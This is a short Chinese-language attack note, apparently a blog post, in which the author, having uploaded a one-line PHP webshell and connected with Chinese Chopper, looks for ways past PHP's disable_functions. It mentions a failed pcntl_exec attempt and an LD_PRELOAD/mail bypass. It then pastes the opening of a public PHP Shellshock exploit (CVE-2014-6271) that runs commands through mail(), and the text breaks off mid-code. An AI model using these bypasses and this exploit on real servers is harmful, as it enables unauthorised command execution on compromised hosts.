参考链接:https://github.com/l3m0n/Bypass_Disable_functions_Shell
连了菜刀无法执行命令系列。
去看phpinfo(别问我怎么看,你都能上传一句话了,phpinfo不是问题
好家伙!禁用了这么多函数,这可咋整
行我去找方法了,
试过了pcntl_exec的方法,没有成功,来用ld_preload绕过(mail
啥也别说了,上马
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) {
// Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tem